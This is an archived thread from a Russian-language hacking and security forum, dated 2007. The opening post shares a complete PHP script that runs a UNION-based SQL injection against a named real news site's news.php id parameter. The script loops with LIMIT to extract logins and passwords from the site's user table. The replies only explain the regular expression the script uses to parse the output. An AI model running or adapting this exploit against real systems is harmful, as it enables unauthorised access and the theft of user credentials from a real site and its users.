HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Скрипт вывода данных из sql-injection
  #1  
Старый 12.03.2007, 00:37
злюка
Постоянный
Регистрация: 11.11.2005
Сообщений: 317
Провел на форуме:
2848854

Репутация: 409
Отправить сообщение для злюка с помощью ICQ
По умолчанию Скрипт вывода данных из sql-injection

вот выкладывали на ачате такой скрипт, который по скуле перебирает limit'ом значения таблицы и выводит их.
Код:
<?
 echo "<pre>\n";
 @set_time_limit(0);
 @ini_set("display_errors","0");
 $hostname = gethostbyname('www.ixbt.com');
 function getid($limit)
 {
  global $hostname;
  $responce = "";
  $fsock    = fsockopen($hostname,80,$errnum,$errstr,2);
  $headers  = "GET http://www.ixbt.com/news/news.php?id=-99+union+select+1,2,CONCAT(CHAR(60,115,113,108,62)  ,login,CHAR(59),password,CHAR(60,47,115,113,108,62  )),4,5,6,7,8%20,9,10,11%20from%20user%20limit%20$l  imit,1/* HTTP/1.1\n";
  $headers .= "Host: www.ixbt.com\n";
  $headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
  $headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
  $headers .= "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\n";
  $headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\n";
  $headers .= "Keep-Alive: 500\n";
  $headers .= "Connection: close\n";
  $headers .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
  fwrite   ($fsock,$headers);
  while    (!feof($fsock)) $responce .= fread($fsock,1024); 
  fclose   ($fsock);
 $patern = "#<[\s]*sql[\s]*>([^<]*)<[\s]*/sql[\s]*>#i";
if(preg_match($patern, $responce, $rez)) echo $rez[1]; else echo 'Something not right...';
}
for($i=1;$i<32;$i++) {getid($i);echo "\n";}
echo "</pre>";
?>
как я понимаю в параметре
Код:
$patern = "#<[\s]*sql[\s]*>([^<]*)<[\s]*/sql[\s]*>#i";
мы определяем тэг в сурсе странице, в котором будем искать вывод значения инъекции , в данном случае тэг <sql></sql>. Не могли бы объяснить значение остальных переменных в patern'е, а то в пхп не силён.

Последний раз редактировалось злюка; 12.03.2007 в 00:51..
 
Ответить с цитированием

  #2  
Старый 12.03.2007, 00:49
DIAgen
Познавший АНТИЧАТ
Регистрация: 02.05.2006
Сообщений: 1,191
Провел на форуме:
7364332

Репутация: 1276


По умолчанию

Почитай про регулярные вырожения и все поймешь
 
Ответить с цитированием

  #3  
Старый 12.03.2007, 01:11
mR_LiNK[deface_0nl
Участник форума
Регистрация: 12.12.2006
Сообщений: 158
Провел на форуме:
1364740

Репутация: 114
По умолчанию

ты все правильно понял

#<[\s]*sql[\s]*>([^<]*)<[\s]*/sql[\s]*>#i

# - символ разделитель;
[\s] - любой пустой символ пробел или табуляция;
* - означает 0 или больше повторений (квантификатор) (сответственно [\s]* означает один или несколько пробелов);
([^<*]) - в классе, задает все символы кроме указанного, т.е. кроме "<";
i - модификатор (буквы в шаблоне совпадают с буквами и верхнего и нижнего регистра в строке)

зы:: по RegExp информация неплохо дана здесь
http://www.intuit.ru/department/pl/plphp/class/free/13/

Последний раз редактировалось mR_LiNK[deface_0nl; 12.03.2007 в 02:06..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ